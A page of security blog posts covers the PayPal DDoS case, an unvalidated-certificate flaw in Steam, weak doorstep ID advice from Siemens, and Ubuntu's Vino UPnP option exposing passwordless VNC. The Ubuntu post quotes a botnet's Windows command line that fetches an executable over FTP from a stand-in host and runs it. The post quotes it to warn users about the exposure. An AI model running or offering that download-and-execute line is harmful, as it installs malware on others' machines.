How do you measure the success of a DDoS attack?

Exactly two years ago, I wrote about mastercard.com being taken down by a distributed denial of service (DDoS) attack. One of the interesting things about this attack at the time was that the attacking botnet did not consist of compromised machines; instead, it was made up of computers whose owners had willingly volunteered to take part in the attack.

The attack against MasterCard was carried out by Anonymous as part of Operation Payback, after MasterCard decided to prevent WikiLeaks from accepting payments using MasterCard-branded products. Supporters of the campaign were able to take part in the voluntary botnet by installing an attack tool called LOIC (Low Orbit Ion Cannon). Other companies targeted during this campaign included Visa, Amazon, Moneybookers and PayPal.

But, why am I bringing this up two years later?

Yesterday, I read that a student had been convicted over the Anonymous cyber-attacks against PayPal. Before this conviction, BBC News reported that:

A student attacked the PayPal website as part of a concerted effort by the Anonymous "hacktivists" that cost the company £3.5m

And:

More than 100 workers from PayPal's parent company, eBay, spent three weeks working on issues related to the attacks

However, that didn't quite correspond with what I remembered at the time. I wrote several news articles about the ongoing attacks two years ago, and was subsequently interviewed a few times by the BBC, so I ended up doing a fair amount of research to make sure that everything I wrote/said was correct. One thing I remember in particular was that PayPal claimed the attacks hadn't been successful.

After a bit of "creative googling", I rediscovered this entry on the PayPal blog, where the company stated that the attacks were not successful:

[...] all PayPal sites are fully operational.  Any reports to the contrary are simply untrue.  We can confirm that there have been multiple attempted distributed denial of service (DDoS) attacks on www.paypal.com this week.  In addition, our API site api.paypal.com was targeted today.  The attacks were not successful.

(bold/underlining is their emphasis; not mine)

This raises an interesting question: How do you measure the success of a DDoS attack? Is it merely related to performance and downtime, or would you argue that an attack which costs a company £3.5m was successful?

Valve fixes HTTPS vulnerability in Steam client

Valve has fixed a man-in-the-middle vulnerability in the Windows Steam client, which would have allowed a correctly-positioned attacker to divert and decrypt HTTPS traffic without the victim's knowledge. This made sensitive payment details, such as PayPal credentials, vulnerable to eavesdropping.


First, I'll get my grumbles out of the way: Steam has a huge number of users, and I don't like the idea of anyone being vulnerable to this type of thing. That's why I responsibly disclosed this vulnerability to Valve in November last year (although I suspect it may have been vulnerable for more than a year in total). My hope was that they would fix it quickly, and certainly before anyone tried to exploit the vulnerability. They were impressively receptive at first, but then things started going a bit quiet and some of my later emails were ignored.

Anyway, it took more than 3 months(!) to get this fixed, which seems an unreasonably long time to me. It's tempting to say that I wouldn't bother trying this hard to report a vulnerability again, but hey, I use Steam too!


[Screenshot from http://store.steampowered.com/news/7524/]

Oh yes, that leads me on to my second grumble: Although Valve has credited me for pointing out this vulnerability, they have dressed it up as an "addition" rather than a "fix". I think that's a bit deceptive, and hides the fact that there were any security problems. It may not be intentional, however.

The real change is that it now validates certificates rather than simply displaying their status; previously, it did not validate the certificate at all, let alone display its status. The Steam client would happily display HTTPS content from any server, regardless of whether the provided SSL certificate had expired, was for the correct domain name, or was signed by a trusted certificate authority. There have been enough issues surrounding the whole PKI arena lately, without having to worry about clients that don't actually check certificates properly...



By controlling or hijacking DNS lookups for the domain "www.paypal.com" (e.g. by providing gamers with an open wireless network which used a rogue DNS server), an attacker could have caused Steam clients to display arbitrary content instead of the expected PayPal payment flow (see screenshot above). This content could have been served from the attacker's own HTTPS server, configured to present a self-signed SSL certificate with an arbitrary common name. 

Steam displayed the spoof content without warning or indicating that the certificate was invalid. This provided a very plausible opportunity to steal a user's Steam credentials by prompting the user to re-enter them within the Steam client itself.

An attacker could also have carried out an undetectable man-in-the-middle attack by relaying Steam client requests to the legitimate PayPal website. This would have allowed the attacker to decrypt and view the user's login credentials and other sensitive details while still allowing the transaction to be processed successfully and thus avoiding any suspicion from either party. Unfortunately, that means there is no know way of knowing whether or not this vulnerability was actively exploited before it was eventually fixed.

Dodgy doorstep security advice from Siemens

Siemens Meter Services, a division of Siemens plc, claims to be the UK's leading independent expert provider of metering services. They are accredited with CORGI and Ofgem to provide gas meter reading and meter operations to gas suppliers, such as British Gas.

Because gas meters are often installed indoors, meter readers or engineers occasionally require physical access to a customer's home. For that reason, meter readers - regardless of which company they work for - usually carry an identity card.  After all, you wouldn't want to let a complete stranger into your home, would you?

But, what if someone calls round with a forged identity card?  Or, what if you have no idea what a genuine identity card should look like?  Siemens offers the following doorstep security advice to allow you to verify the identity of the caller:

Siemens Metering Services at your door
All of our meter readers and meter engineers have passed our thorough security screening. Everyone has to carry an identity card showing their name and a recent colour photograph. If you have any doubts at all about the identity of the caller, then please call the telephone number printed on the identity card for verification.

Unfortunately, there's an obvious flaw in this advice: If a fraudster has gone to the effort of forging an identity card, there's nothing to stop them printing their mate's phone number on it.

Accidentally opening the doors on Ubuntu

This post highlights how even a small modification to a graphical user interface can be responsible for causing unintended security problems.

When Ubuntu's remote desktop service (Vino) first introduced support for UPnP, this is what the Security section of new configuration dialog looked like:



The UPnP feature was activated by checking "Talk to the router and try to open the doors there". Although this label was criticised for sounding too informal, it did actually give a reasonable impression of what might happen if you checked the box. Namely, it used UPnP to configure the router such that the remote desktop service could be accessed from the internet.

However, this is what the option now looks like in the current Long Term Support version of Ubuntu (10.04.3 LTS, Lucid Lynx):



(This is a screenshot from a real victim of the problem I am about to describe)

Notice that this unfortunate user has enabled remote control of their desktop, with no password protection. What was possibly going through their mind?  Well, convenience, most likely. Indeed, the lack of password may not necessarily pose any security problems if the Ubuntu desktop is on a trusted network and not connected directly to the internet. This would be typical of many home networks, where internet access is usually provided by a NAT-enabled router.

But also notice that the UPnP option is now labelled "Configure network automatically to accept connections". The user has checked this box - after all, why wouldn't you want a connection to be accepted automatically? Convenience is the goal here, and there is nothing to suggest that this option really means "accept connections from the entire internet".

So, after checking the box, the user's UPnP-enabled router will start to accept connections from the internet on port 5900 and forward them to the Ubuntu desktop.  Even so, the settings dialog reassuringly and erroneously states that "Your desktop is only reachable over the local network." The combination of this bug and the slightly unclear option label has caused the user to accidentally open the doors on their Ubuntu desktop. To anyone.

Anybody in the world can now use this person's computer simply by using a VNC client to connect to the public-facing IP address of the router (no password required, of course).

Internet-facing VNC servers are often subjected to automated attacks from botnets, but vino-server's lack of connection logging might make these hard to trace after the event. Thankfully, most of the automated attacks happening right now are only designed to exploit Windows systems.  You may, for example, notice attacks similar to the following, which launch a command prompt and create a temporary FTP script named "ik", which is then used to download and execute malware:

cmd /c echo open example.com 21 >> ik &echo user xyz letmein >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit
echo You got owned

The botnet simply connects to an exposed VNC server and sends these characters to the remote Windows computer.  Quite cheeky, but at least it has the decency to tell the user they got owned!

Are you affected by this? If you have enabled remote desktop or vino-server on any version of Ubuntu or Windows, you should probably double check that you haven't inadvertently exposed the service to the entire internet. If you do wish for the service to be internet visible, ensure that you use a suitably strong password and keep your server software up to date.